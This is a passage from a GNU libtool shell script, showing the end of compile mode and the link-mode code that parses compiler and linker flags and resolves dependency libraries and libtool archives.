$lockfile 2>/dev/null` + +but it should contain: +$srcfile + +This indicates that another process is trying to use the same +temporary object file, and libtool could not work around it because +your compiler does not support \`-c' and \`-o' together. If you +repeat this compilation, it may succeed, by chance, but you had better +avoid parallel builds (make -j) in this platform, or get a better +compiler." + + $run $rm $removelist + exit $EXIT_FAILURE + fi + + # Just move the object if needed + if test -n "$output_obj" && test "X$output_obj" != "X$obj"; then + $show "$mv $output_obj $obj" + if $run $mv $output_obj $obj; then : + else + error=$? + $run $rm $removelist + exit $error + fi + fi + + # Append the name of the non-PIC object the libtool object file. + # Only append if the libtool object file exists. + test -z "$run" && cat >> ${libobj}T <> ${libobj}T <&2 + fi + if test -n "$link_static_flag"; then + dlopen_self=$dlopen_self_static + fi + prefer_static_libs=yes + else + if test -z "$pic_flag" && test -n "$link_static_flag"; then + dlopen_self=$dlopen_self_static + fi + prefer_static_libs=built + fi + build_libtool_libs=no + build_old_libs=yes + break + ;; + esac + done + + # See if our shared archives depend on static archives. + test -n "$old_archive_from_new_cmds" && build_old_libs=yes + + # Go through the arguments, transforming them on the way. + while test "$#" -gt 0; do + arg="$1" + shift + case $arg in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + qarg=\"`$echo "X$arg" | $Xsed -e "$sed_quote_subst"`\" ### testsuite: skip nested quoting test + ;; + *) qarg=$arg ;; + esac + libtool_args="$libtool_args $qarg" + + # If the previous option needs an argument, assign it. + if test -n "$prev"; then + case $prev in + output) + compile_command="$compile_command @OUTPUT@" + finalize_command="$finalize_command @OUTPUT@" + ;; + esac + + case $prev in + dlfiles|dlprefiles) + if test "$preload" = no; then + # Add the symbol object into the linking commands. + compile_command="$compile_command @SYMFILE@" + finalize_command="$finalize_command @SYMFILE@" + preload=yes + fi + case $arg in + *.la | *.lo) ;; # We handle these cases below. + force) + if test "$dlself" = no; then + dlself=needless + export_dynamic=yes + fi + prev= + continue + ;; + self) + if test "$prev" = dlprefiles; then + dlself=yes + elif test "$prev" = dlfiles && test "$dlopen_self" != yes; then + dlself=yes + else + dlself=needless + export_dynamic=yes + fi + prev= + continue + ;; + *) + if test "$prev" = dlfiles; then + dlfiles="$dlfiles $arg" + else + dlprefiles="$dlprefiles $arg" + fi + prev= + continue + ;; + esac + ;; + expsyms) + export_symbols="$arg" + if test ! -f "$arg"; then + $echo "$modename: symbol file \`$arg' does not exist" + exit $EXIT_FAILURE + fi + prev= + continue + ;; + expsyms_regex) + export_symbols_regex="$arg" + prev= + continue + ;; + inst_prefix) + inst_prefix_dir="$arg" + prev= + continue + ;; + precious_regex) + precious_files_regex="$arg" + prev= + continue + ;; + release) + release="-$arg" + prev= + continue + ;; + objectlist) + if test -f "$arg"; then + save_arg=$arg + moreargs= + for fil in `cat $save_arg` + do +# moreargs="$moreargs $fil" + arg=$fil + # A libtool-controlled object. + + # Check to see that this really is a libtool object. + if (${SED} -e '2q' $arg | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then + pic_object= + non_pic_object= + + # Read the .lo file + # If there is no directory component, then add one. + case $arg in + */* | *\\*) . $arg ;; + *) . ./$arg ;; + esac + + if test -z "$pic_object" || \ + test -z "$non_pic_object" || + test "$pic_object" = none && \ + test "$non_pic_object" = none; then + $echo "$modename: cannot find name of object for \`$arg'" 1>&2 + exit $EXIT_FAILURE + fi + + # Extract subdirectory from the argument. + xdir=`$echo "X$arg" | $Xsed -e 's%/[^/]*$%%'` + if test "X$xdir" = "X$arg"; then + xdir= + else + xdir="$xdir/" + fi + + if test "$pic_object" != none; then + # Prepend the subdirectory the object is found in. + pic_object="$xdir$pic_object" + + if test "$prev" = dlfiles; then + if test "$build_libtool_libs" = yes && test "$dlopen_support" = yes; then + dlfiles="$dlfiles $pic_object" + prev= + continue + else + # If libtool objects are unsupported, then we need to preload. + prev=dlprefiles + fi + fi + + # CHECK ME: I think I busted this. -Ossama + if test "$prev" = dlprefiles; then + # Preload the old-style object. + dlprefiles="$dlprefiles $pic_object" + prev= + fi + + # A PIC object. + libobjs="$libobjs $pic_object" + arg="$pic_object" + fi + + # Non-PIC object. + if test "$non_pic_object" != none; then + # Prepend the subdirectory the object is found in. + non_pic_object="$xdir$non_pic_object" + + # A standard non-PIC object + non_pic_objects="$non_pic_objects $non_pic_object" + if test -z "$pic_object" || test "$pic_object" = none ; then + arg="$non_pic_object" + fi + else + # If the PIC object exists, use it instead. + # $xdir was prepended to $pic_object above. + non_pic_object="$pic_object" + non_pic_objects="$non_pic_objects $non_pic_object" + fi + else + # Only an error if not doing a dry-run. + if test -z "$run"; then + $echo "$modename: \`$arg' is not a valid libtool object" 1>&2 + exit $EXIT_FAILURE + else + # Dry-run case. + + # Extract subdirectory from the argument. + xdir=`$echo "X$arg" | $Xsed -e 's%/[^/]*$%%'` + if test "X$xdir" = "X$arg"; then + xdir= + else + xdir="$xdir/" + fi + + pic_object=`$echo "X${xdir}${objdir}/${arg}" | $Xsed -e "$lo2o"` + non_pic_object=`$echo "X${xdir}${arg}" | $Xsed -e "$lo2o"` + libobjs="$libobjs $pic_object" + non_pic_objects="$non_pic_objects $non_pic_object" + fi + fi + done + else + $echo "$modename: link input file \`$save_arg' does not exist" + exit $EXIT_FAILURE + fi + arg=$save_arg + prev= + continue + ;; + rpath | xrpath) + # We need an absolute path. + case $arg in + [\\/]* | [A-Za-z]:[\\/]*) ;; + *) + $echo "$modename: only absolute run-paths are allowed" 1>&2 + exit $EXIT_FAILURE + ;; + esac + if test "$prev" = rpath; then + case "$rpath " in + *" $arg "*) ;; + *) rpath="$rpath $arg" ;; + esac + else + case "$xrpath " in + *" $arg "*) ;; + *) xrpath="$xrpath $arg" ;; + esac + fi + prev= + continue + ;; + xcompiler) + compiler_flags="$compiler_flags $qarg" + prev= + compile_command="$compile_command $qarg" + finalize_command="$finalize_command $qarg" + continue + ;; + xlinker) + linker_flags="$linker_flags $qarg" + compiler_flags="$compiler_flags $wl$qarg" + prev= + compile_command="$compile_command $wl$qarg" + finalize_command="$finalize_command $wl$qarg" + continue + ;; + xcclinker) + linker_flags="$linker_flags $qarg" + compiler_flags="$compiler_flags $qarg" + prev= + compile_command="$compile_command $qarg" + finalize_command="$finalize_command $qarg" + continue + ;; + shrext) + shrext_cmds="$arg" + prev= + continue + ;; + darwin_framework|darwin_framework_skip) + test "$prev" = "darwin_framework" && compiler_flags="$compiler_flags $arg" + compile_command="$compile_command $arg" + finalize_command="$finalize_command $arg" + prev= + continue + ;; + *) + eval "$prev=\"\$arg\"" + prev= + continue + ;; + esac + fi # test -n "$prev" + + prevarg="$arg" + + case $arg in + -all-static) + if test -n "$link_static_flag"; then + compile_command="$compile_command $link_static_flag" + finalize_command="$finalize_command $link_static_flag" + fi + continue + ;; + + -allow-undefined) + # FIXME: remove this flag sometime in the future. + $echo "$modename: \`-allow-undefined' is deprecated because it is the default" 1>&2 + continue + ;; + + -avoid-version) + avoid_version=yes + continue + ;; + + -dlopen) + prev=dlfiles + continue + ;; + + -dlpreopen) + prev=dlprefiles + continue + ;; + + -export-dynamic) + export_dynamic=yes + continue + ;; + + -export-symbols | -export-symbols-regex) + if test -n "$export_symbols" || test -n "$export_symbols_regex"; then + $echo "$modename: more than one -exported-symbols argument is not allowed" + exit $EXIT_FAILURE + fi + if test "X$arg" = "X-export-symbols"; then + prev=expsyms + else + prev=expsyms_regex + fi + continue + ;; + + -framework|-arch|-isysroot) + case " $CC " in + *" ${arg} ${1} "* | *" ${arg} ${1} "*) + prev=darwin_framework_skip ;; + *) compiler_flags="$compiler_flags $arg" + prev=darwin_framework ;; + esac + compile_command="$compile_command $arg" + finalize_command="$finalize_command $arg" + continue + ;; + + -inst-prefix-dir) + prev=inst_prefix + continue + ;; + + # The native IRIX linker understands -LANG:*, -LIST:* and -LNO:* + # so, if we see these flags be careful not to treat them like -L + -L[A-Z][A-Z]*:*) + case $with_gcc/$host in + no/*-*-irix* | /*-*-irix*) + compile_command="$compile_command $arg" + finalize_command="$finalize_command $arg" + ;; + esac + continue + ;; + + -L*) + dir=`$echo "X$arg" | $Xsed -e 's/^-L//'` + # We need an absolute path. + case $dir in + [\\/]* | [A-Za-z]:[\\/]*) ;; + *) + absdir=`cd "$dir" && pwd` + if test -z "$absdir"; then + $echo "$modename: cannot determine absolute directory name of \`$dir'" 1>&2 + absdir="$dir" + notinst_path="$notinst_path $dir" + fi + dir="$absdir" + ;; + esac + case "$deplibs " in + *" -L$dir "*) ;; + *) + deplibs="$deplibs -L$dir" + lib_search_path="$lib_search_path $dir" + ;; + esac + case $host in + *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2*) + testbindir=`$echo "X$dir" | $Xsed -e 's*/lib$*/bin*'` + case :$dllsearchpath: in + *":$dir:"*) ;; + *) dllsearchpath="$dllsearchpath:$dir";; + esac + case :$dllsearchpath: in + *":$testbindir:"*) ;; + *) dllsearchpath="$dllsearchpath:$testbindir";; + esac + ;; + esac + continue + ;; + + -l*) + if test "X$arg" = "X-lc" || test "X$arg" = "X-lm"; then + case $host in + *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-beos*) + # These systems don't actually have a C or math library (as such) + continue + ;; + *-*-os2*) + # These systems don't actually have a C library (as such) + test "X$arg" = "X-lc" && continue + ;; + *-*-openbsd* | *-*-freebsd* | *-*-dragonfly*) + # Do not include libc due to us having libc/libc_r. + test "X$arg" = "X-lc" && continue + ;; + *-*-rhapsody* | *-*-darwin1.[012]) + # Rhapsody C and math libraries are in the System framework + deplibs="$deplibs -framework System" + continue + ;; + *-*-sco3.2v5* | *-*-sco5v6*) + # Causes problems with __ctype + test "X$arg" = "X-lc" && continue + ;; + *-*-sysv4.2uw2* | *-*-sysv5* | *-*-unixware* | *-*-OpenUNIX*) + # Compiler inserts libc in the correct place for threads to work + test "X$arg" = "X-lc" && continue + ;; + esac + elif test "X$arg" = "X-lc_r"; then + case $host in + *-*-openbsd* | *-*-freebsd* | *-*-dragonfly*) + # Do not include libc_r directly, use -pthread flag. + continue + ;; + esac + fi + deplibs="$deplibs $arg" + continue + ;; + + # Tru64 UNIX uses -model [arg] to determine the layout of C++ + # classes, name mangling, and exception handling. + -model) + compile_command="$compile_command $arg" + compiler_flags="$compiler_flags $arg" + finalize_command="$finalize_command $arg" + prev=xcompiler + continue + ;; + + -mt|-mthreads|-kthread|-Kthread|-pthread|-pthreads|--thread-safe) + compiler_flags="$compiler_flags $arg" + compile_command="$compile_command $arg" + finalize_command="$finalize_command $arg" + continue + ;; + + -module) + module=yes + continue + ;; + + # -64, -mips[0-9] enable 64-bit mode on the SGI compiler + # -r[0-9][0-9]* specifies the processor on the SGI compiler + # -xarch=*, -xtarget=* enable 64-bit mode on the Sun compiler + # +DA*, +DD* enable 64-bit mode on the HP compiler + # -q* pass through compiler args for the IBM compiler + # -m* pass through architecture-specific compiler args for GCC + # -m*, -t[45]*, -txscale* pass through architecture-specific + # compiler args for GCC + # -pg pass through profiling flag for GCC + # @file GCC response files + -64|-mips[0-9]|-r[0-9][0-9]*|-xarch=*|-xtarget=*|+DA*|+DD*|-q*|-m*|-pg| \ + -t[45]*|-txscale*|@*) + + # Unknown arguments in both finalize_command and compile_command need + # to be aesthetically quoted because they are evaled later. + arg=`$echo "X$arg" | $Xsed -e "$sed_quote_subst"` + case $arg in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + arg="\"$arg\"" + ;; + esac + compile_command="$compile_command $arg" + finalize_command="$finalize_command $arg" + compiler_flags="$compiler_flags $arg" + continue + ;; + + -shrext) + prev=shrext + continue + ;; + + -no-fast-install) + fast_install=no + continue + ;; + + -no-install) + case $host in + *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2*) + # The PATH hackery in wrapper scripts is required on Windows + # in order for the loader to find any dlls it needs. + $echo "$modename: warning: \`-no-install' is ignored for $host" 1>&2 + $echo "$modename: warning: assuming \`-no-fast-install' instead" 1>&2 + fast_install=no + ;; + *) no_install=yes ;; + esac + continue + ;; + + -no-undefined) + allow_undefined=no + continue + ;; + + -objectlist) + prev=objectlist + continue + ;; + + -o) prev=output ;; + + -precious-files-regex) + prev=precious_regex + continue + ;; + + -release) + prev=release + continue + ;; + + -rpath) + prev=rpath + continue + ;; + + -R) + prev=xrpath + continue + ;; + + -R*) + dir=`$echo "X$arg" | $Xsed -e 's/^-R//'` + # We need an absolute path. + case $dir in + [\\/]* | [A-Za-z]:[\\/]*) ;; + *) + $echo "$modename: only absolute run-paths are allowed" 1>&2 + exit $EXIT_FAILURE + ;; + esac + case "$xrpath " in + *" $dir "*) ;; + *) xrpath="$xrpath $dir" ;; + esac + continue + ;; + + -static) + # The effects of -static are defined in a previous loop. + # We used to do the same as -all-static on platforms that + # didn't have a PIC flag, but the assumption that the effects + # would be equivalent was wrong. It would break on at least + # Digital Unix and AIX. + continue + ;; + + -thread-safe) + thread_safe=yes + continue + ;; + + -version-info) + prev=vinfo + continue + ;; + -version-number) + prev=vinfo + vinfo_number=yes + continue + ;; + + -Wc,*) + args=`$echo "X$arg" | $Xsed -e "$sed_quote_subst" -e 's/^-Wc,//'` + arg= + save_ifs="$IFS"; IFS=',' + for flag in $args; do + IFS="$save_ifs" + case $flag in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + flag="\"$flag\"" + ;; + esac + arg="$arg $wl$flag" + compiler_flags="$compiler_flags $flag" + done + IFS="$save_ifs" + arg=`$echo "X$arg" | $Xsed -e "s/^ //"` + ;; + + -Wl,*) + args=`$echo "X$arg" | $Xsed -e "$sed_quote_subst" -e 's/^-Wl,//'` + arg= + save_ifs="$IFS"; IFS=',' + for flag in $args; do + IFS="$save_ifs" + case $flag in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + flag="\"$flag\"" + ;; + esac + arg="$arg $wl$flag" + compiler_flags="$compiler_flags $wl$flag" + linker_flags="$linker_flags $flag" + done + IFS="$save_ifs" + arg=`$echo "X$arg" | $Xsed -e "s/^ //"` + ;; + + -Xcompiler) + prev=xcompiler + continue + ;; + + -Xlinker) + prev=xlinker + continue + ;; + + -XCClinker) + prev=xcclinker + continue + ;; + + # Some other compiler flag. + -* | +*) + # Unknown arguments in both finalize_command and compile_command need + # to be aesthetically quoted because they are evaled later. + arg=`$echo "X$arg" | $Xsed -e "$sed_quote_subst"` + case $arg in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + arg="\"$arg\"" + ;; + esac + ;; + + *.$objext) + # A standard object. + objs="$objs $arg" + ;; + + *.lo) + # A libtool-controlled object. + + # Check to see that this really is a libtool object. + if (${SED} -e '2q' $arg | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then + pic_object= + non_pic_object= + + # Read the .lo file + # If there is no directory component, then add one. + case $arg in + */* | *\\*) . $arg ;; + *) . ./$arg ;; + esac + + if test -z "$pic_object" || \ + test -z "$non_pic_object" || + test "$pic_object" = none && \ + test "$non_pic_object" = none; then + $echo "$modename: cannot find name of object for \`$arg'" 1>&2 + exit $EXIT_FAILURE + fi + + # Extract subdirectory from the argument. + xdir=`$echo "X$arg" | $Xsed -e 's%/[^/]*$%%'` + if test "X$xdir" = "X$arg"; then + xdir= + else + xdir="$xdir/" + fi + + if test "$pic_object" != none; then + # Prepend the subdirectory the object is found in. + pic_object="$xdir$pic_object" + + if test "$prev" = dlfiles; then + if test "$build_libtool_libs" = yes && test "$dlopen_support" = yes; then + dlfiles="$dlfiles $pic_object" + prev= + continue + else + # If libtool objects are unsupported, then we need to preload. + prev=dlprefiles + fi + fi + + # CHECK ME: I think I busted this. -Ossama + if test "$prev" = dlprefiles; then + # Preload the old-style object. + dlprefiles="$dlprefiles $pic_object" + prev= + fi + + # A PIC object. + libobjs="$libobjs $pic_object" + arg="$pic_object" + fi + + # Non-PIC object. + if test "$non_pic_object" != none; then + # Prepend the subdirectory the object is found in. + non_pic_object="$xdir$non_pic_object" + + # A standard non-PIC object + non_pic_objects="$non_pic_objects $non_pic_object" + if test -z "$pic_object" || test "$pic_object" = none ; then + arg="$non_pic_object" + fi + else + # If the PIC object exists, use it instead. + # $xdir was prepended to $pic_object above. + non_pic_object="$pic_object" + non_pic_objects="$non_pic_objects $non_pic_object" + fi + else + # Only an error if not doing a dry-run. + if test -z "$run"; then + $echo "$modename: \`$arg' is not a valid libtool object" 1>&2 + exit $EXIT_FAILURE + else + # Dry-run case. + + # Extract subdirectory from the argument. + xdir=`$echo "X$arg" | $Xsed -e 's%/[^/]*$%%'` + if test "X$xdir" = "X$arg"; then + xdir= + else + xdir="$xdir/" + fi + + pic_object=`$echo "X${xdir}${objdir}/${arg}" | $Xsed -e "$lo2o"` + non_pic_object=`$echo "X${xdir}${arg}" | $Xsed -e "$lo2o"` + libobjs="$libobjs $pic_object" + non_pic_objects="$non_pic_objects $non_pic_object" + fi + fi + ;; + + *.$libext) + # An archive. + deplibs="$deplibs $arg" + old_deplibs="$old_deplibs $arg" + continue + ;; + + *.la) + # A libtool-controlled library. + + if test "$prev" = dlfiles; then + # This library was specified with -dlopen. + dlfiles="$dlfiles $arg" + prev= + elif test "$prev" = dlprefiles; then + # The library was specified with -dlpreopen. + dlprefiles="$dlprefiles $arg" + prev= + else + deplibs="$deplibs $arg" + fi + continue + ;; + + # Some other compiler argument. + *) + # Unknown arguments in both finalize_command and compile_command need + # to be aesthetically quoted because they are evaled later. + arg=`$echo "X$arg" | $Xsed -e "$sed_quote_subst"` + case $arg in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + arg="\"$arg\"" + ;; + esac + ;; + esac # arg + + # Now actually substitute the argument into the commands. + if test -n "$arg"; then + compile_command="$compile_command $arg" + finalize_command="$finalize_command $arg" + fi + done # argument parsing loop + + if test -n "$prev"; then + $echo "$modename: the \`$prevarg' option requires an argument" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + if test "$export_dynamic" = yes && test -n "$export_dynamic_flag_spec"; then + eval arg=\"$export_dynamic_flag_spec\" + compile_command="$compile_command $arg" + finalize_command="$finalize_command $arg" + fi + + oldlibs= + # calculate the name of the file, without its directory + outputname=`$echo "X$output" | $Xsed -e 's%^.*/%%'` + libobjs_save="$libobjs" + + if test -n "$shlibpath_var"; then + # get the directories listed in $shlibpath_var + eval shlib_search_path=\`\$echo \"X\${$shlibpath_var}\" \| \$Xsed -e \'s/:/ /g\'\` + else + shlib_search_path= + fi + eval sys_lib_search_path=\"$sys_lib_search_path_spec\" + eval sys_lib_dlsearch_path=\"$sys_lib_dlsearch_path_spec\" + + output_objdir=`$echo "X$output" | $Xsed -e 's%/[^/]*$%%'` + if test "X$output_objdir" = "X$output"; then + output_objdir="$objdir" + else + output_objdir="$output_objdir/$objdir" + fi + # Create the object directory. + if test ! -d "$output_objdir"; then + $show "$mkdir $output_objdir" + $run $mkdir $output_objdir + exit_status=$? + if test "$exit_status" -ne 0 && test ! -d "$output_objdir"; then + exit $exit_status + fi + fi + + # Determine the type of output + case $output in + "") + $echo "$modename: you must specify an output file" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + ;; + *.$libext) linkmode=oldlib ;; + *.lo | *.$objext) linkmode=obj ;; + *.la) linkmode=lib ;; + *) linkmode=prog ;; # Anything else should be a program. + esac + + case $host in + *cygwin* | *mingw* | *pw32*) + # don't eliminate duplications in $postdeps and $predeps + duplicate_compiler_generated_deps=yes + ;; + *) + duplicate_compiler_generated_deps=$duplicate_deps + ;; + esac + specialdeplibs= + + libs= + # Find all interdependent deplibs by searching for libraries + # that are linked more than once (e.g. -la -lb -la) + for deplib in $deplibs; do + if test "X$duplicate_deps" = "Xyes" ; then + case "$libs " in + *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;; + esac + fi + libs="$libs $deplib" + done + + if test "$linkmode" = lib; then + libs="$predeps $libs $compiler_lib_search_path $postdeps" + + # Compute libraries that are listed more than once in $predeps + # $postdeps and mark them as special (i.e., whose duplicates are + # not to be eliminated). + pre_post_deps= + if test "X$duplicate_compiler_generated_deps" = "Xyes" ; then + for pre_post_dep in $predeps $postdeps; do + case "$pre_post_deps " in + *" $pre_post_dep "*) specialdeplibs="$specialdeplibs $pre_post_deps" ;; + esac + pre_post_deps="$pre_post_deps $pre_post_dep" + done + fi + pre_post_deps= + fi + + deplibs= + newdependency_libs= + newlib_search_path= + need_relink=no # whether we're linking any uninstalled libtool libraries + notinst_deplibs= # not-installed libtool libraries + case $linkmode in + lib) + passes="conv link" + for file in $dlfiles $dlprefiles; do + case $file in + *.la) ;; + *) + $echo "$modename: libraries can \`-dlopen' only libtool libraries: $file" 1>&2 + exit $EXIT_FAILURE + ;; + esac + done + ;; + prog) + compile_deplibs= + finalize_deplibs= + alldeplibs=no + newdlfiles= + newdlprefiles= + passes="conv scan dlopen dlpreopen link" + ;; + *) passes="conv" + ;; + esac + for pass in $passes; do + if test "$linkmode,$pass" = "lib,link" || + test "$linkmode,$pass" = "prog,scan"; then + libs="$deplibs" + deplibs= + fi + if test "$linkmode" = prog; then + case $pass in + dlopen) libs="$dlfiles" ;; + dlpreopen) libs="$dlprefiles" ;; + link) libs="$deplibs %DEPLIBS% $dependency_libs" ;; + esac + fi + if test "$pass" = dlopen; then + # Collect dlpreopened libraries + save_deplibs="$deplibs" + deplibs= + fi + for deplib in $libs; do + lib= + found=no + case $deplib in + -mt|-mthreads|-kthread|-Kthread|-pthread|-pthreads|--thread-safe) + if test "$linkmode,$pass" = "prog,link"; then + compile_deplibs="$deplib $compile_deplibs" + finalize_deplibs="$deplib $finalize_deplibs" + else + compiler_flags="$compiler_flags $deplib" + fi + continue + ;; + -l*) + if test "$linkmode" != lib && test "$linkmode" != prog; then + $echo "$modename: warning: \`-l' is ignored for archives/objects" 1>&2 + continue + fi + name=`$echo "X$deplib" | $Xsed -e 's/^-l//'` + for searchdir in $newlib_search_path $lib_search_path $sys_lib_search_path $shlib_search_path; do + for search_ext in .la $std_shrext .so .a; do + # Search the libtool library + lib="$searchdir/lib${name}${search_ext}" + if test -f "$lib"; then + if test "$search_ext" = ".la"; then + found=yes + else + found=no + fi + break 2 + fi + done + done + if test "$found" != yes; then + # deplib doesn't seem to be a libtool library + if test "$linkmode,$pass" = "prog,link"; then + compile_deplibs="$deplib $compile_deplibs" + finalize_deplibs="$deplib $finalize_deplibs" + else + deplibs="$deplib $deplibs" + test "$linkmode" = lib && newdependency_libs="$deplib $newdependency_libs" + fi + continue + else # deplib is a libtool library + # If $allow_libtool_libs_with_static_runtimes && $deplib is a stdlib, + # We need to do some special things here, and not later. + if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then + case " $predeps $postdeps " in + *" $deplib "*) + if (${SED} -e '2q' $lib | + grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then + library_names= + old_library= + case $lib in + */* | *\\*) . $lib ;; + *) . ./$lib ;; + esac + for l in $old_library $library_names; do + ll="$l" + done + if test "X$ll" = "X$old_library" ; then # only static version available + found=no + ladir=`$echo "X$lib" | $Xsed -e 's%/[^/]*$%%'` + test "X$ladir" = "X$lib" && ladir="." + lib=$ladir/$old_library + if test "$linkmode,$pass" = "prog,link"; then + compile_deplibs="$deplib $compile_deplibs" + finalize_deplibs="$deplib $finalize_deplibs" + else + deplibs="$deplib $deplibs" + test "$linkmode" = lib && newdependency_libs="$deplib $newdependency_libs" + fi + continue + fi + fi + ;; + *) ;; + esac + fi + fi + ;; # -l + -L*) + case $linkmode in + lib) + deplibs="$deplib $deplibs" + test "$pass" = conv && continue + newdependency_libs="$deplib $newdependency_libs" + newlib_search_path="$newlib_search_path "`$echo "X$deplib" | $Xsed -e 's/^-L//'` + ;; + prog) + if test "$pass" = conv; then + deplibs="$deplib $deplibs" + continue + fi + if test "$pass" = scan; then + deplibs="$deplib $deplibs" + else + compile_deplibs="$deplib $compile_deplibs" + finalize_deplibs="$deplib $finalize_deplibs" + fi + newlib_search_path="$newlib_search_path "`$echo "X$deplib" | $Xsed -e 's/^-L//'` + ;; + *) + $echo "$modename: warning: \`-L' is ignored for archives/objects" 1>&2 + ;; + esac # linkmode + continue + ;; # -L + -R*) + if test "$pass" = link; then + dir=`$echo "X$deplib" | $Xsed -e 's/^-R//'` + # Make sure the xrpath contains only unique directories. + case "$xrpath " in + *" $dir "*) ;; + *) xrpath="$xrpath $dir" ;; + esac + fi + deplibs="$deplib $deplibs" + continue + ;; + *.la) lib="$deplib" ;; + *.$libext) + if test "$pass" = conv; then + deplibs="$deplib $deplibs" + continue + fi + case $linkmode in + lib) + valid_a_lib=no + case $deplibs_check_method in + match_pattern*) + set dummy $deplibs_check_method + match_pattern_regex=`expr "$deplibs_check_method" : "$2 \(.*\)"` + if eval $echo \"$deplib\" 2>/dev/null \ + | $SED 10q \ + | $EGREP "$match_pattern_regex" > /dev/null; then + valid_a_lib=yes + fi + ;; + pass_all) + valid_a_lib=yes + ;; + esac + if test "$valid_a_lib" != yes; then + $echo + $echo "*** Warning: Trying to link with static lib archive $deplib." + $echo "*** I have the capability to make that library automatically link in when" + $echo "*** you link to this library. But I can only do this if you have a" + $echo "*** shared version of the library, which you do not appear to have" + $echo "*** because the file extensions .$libext of this argument makes me believe" + $echo "*** that it is just a static archive that I should not used here." + else + $echo + $echo "*** Warning: Linking the shared library $output against the" + $echo "*** static library $deplib is not portable!" + deplibs="$deplib $deplibs" + fi + continue + ;; + prog) + if test "$pass" != link; then + deplibs="$deplib $deplibs" + else + compile_deplibs="$deplib $compile_deplibs" + finalize_deplibs="$deplib $finalize_deplibs" + fi + continue + ;; + esac # linkmode + ;; # *.$libext + *.lo | *.$objext) + if test "$pass" = conv; then + deplibs="$deplib $deplibs" + elif test "$linkmode" = prog; then + if test "$pass" = dlpreopen || test "$dlopen_support" != yes || test "$build_libtool_libs" = no; then + # If there is no dlopen support or we're linking statically, + # we need to preload. + newdlprefiles="$newdlprefiles $deplib" + compile_deplibs="$deplib $compile_deplibs" + finalize_deplibs="$deplib $finalize_deplibs" + else + newdlfiles="$newdlfiles $deplib" + fi + fi + continue + ;; + %DEPLIBS%) + alldeplibs=yes + continue + ;; + esac # case $deplib + if test "$found" = yes || test -f "$lib"; then : + else + $echo "$modename: cannot find the library \`$lib' or unhandled argument \`$deplib'" 1>&2 + exit $EXIT_FAILURE + fi + + # Check to see that this really is a libtool archive. + if (${SED} -e '2q' $lib | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then : + else + $echo "$modename: \`$lib' is not a valid libtool archive" 1>&2 + exit $EXIT_FAILURE + fi + + ladir=`$echo "X$lib" | $Xsed -e 's%/[^/]*$%%'` + test "X$ladir" = "X$lib" && ladir="." + + dlname= + dlopen= + dlpreopen= + libdir= + library_names= + old_library= + # If the library was installed with an old release of libtool, + # it will not redefine variables installed, or shouldnotlink + installed=yes + shouldnotlink=no + avoidtemprpath= + + + # Read the .la file + case $lib in + */* | *\\*) . $lib ;; + *) . ./$lib ;; + esac + + if test "$linkmode,$pass" = "lib,link" || + test "$linkmode,$pass" = "prog,scan" || + { test "$linkmode" != prog && test "$linkmode" != lib; }; then + test -n "$dlopen" && dlfiles="$dlfiles $dlopen" + test -n "$dlpreopen" && dlprefiles="$dlprefiles $dlpreopen" + fi + + if test "$pass" = conv; then + # Only check for convenience libraries + deplibs="$lib $deplibs" + if test -z "$libdir"; then + if test -z "$old_library"; then + $echo "$modename: cannot find name of link library for \`$lib'" 1>&2 + exit $EXIT_FAILURE + fi + # It is a libtool convenience library, so add in its objects. + convenience="$convenience $ladir/$objdir/$old_library" + old_convenience="$old_convenience $ladir/$objdir/$old_library" + tmp_libs= + for deplib in $dependency_libs; do + deplibs="$deplib $deplibs" + if test "X$duplicate_deps" = "Xyes" ; then + case "$tmp_libs " in + *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;; + esac + fi + tmp_libs="$tmp_libs $deplib" + done + elif test "$linkmode" != prog && test "$linkmode" != lib; then + $echo "$modename: \`$lib' is not a convenience library" 1>&2 + exit $EXIT_FAILURE + fi + continue + fi # $pass = conv + + + # Get the name of the library we link against. + linklib= + for l in $old_library $library_names; do + linklib="$l" + done + if test -z "$linklib"; then + $echo "$modename: cannot find name of link library for \`$lib'" 1>&2 + exit $EXIT_FAILURE + fi + + # This library was specified with -dlopen. + if test "$pass" = dlopen; then + if test -z "$libdir"; then + $echo "$modename: cannot -dlopen a convenience library: \`$lib'" 1>&2 + exit $EXIT_FAILURE + fi + if test -z "$dlname" || + test "$dlopen_support" != yes || + test "$build_libtool_libs" = no; then + # If there is no dlname, no dlopen support or we're linking + # statically, we need to preload. We also need to preload any + # dependent libraries so libltdl's deplib preloader doesn't + # bomb out in the load deplibs phase. + dlprefiles="$dlprefiles $lib $dependency_libs" + else + newdlfiles="$newdlfiles $lib" + fi + continue + fi # $pass = dlopen + + # We need an absolute path. + case $ladir in + [\\/]* | [A-Za-z]:[\\/]*) abs_ladir="$ladir" ;; + *) + abs_ladir=`cd "$ladir" && pwd` + if test -z "$abs_ladir"; then + $echo "$modename: warning: cannot determine absolute directory name of \`$ladir'" 1>&2 + $echo "$modename: passing it literally to the linker, although it might fail" 1>&2 + abs_ladir="$ladir" + fi + ;; + esac + laname=`$echo "X$lib" | $Xsed -e 's%^.*/%%'` + + # Find the relevant object directory and library name. + if test "X$installed" = Xyes; then + if test ! -f "$libdir/$linklib" && test -f "$abs_ladir/$linklib"; then + $echo "$modename: warning: library \`$lib' was moved." 1>&2 + dir="$ladir" + absdir="$abs_ladir" + libdir="$abs_ladir" + else + dir="$libdir" + absdir="$libdir" + fi + test 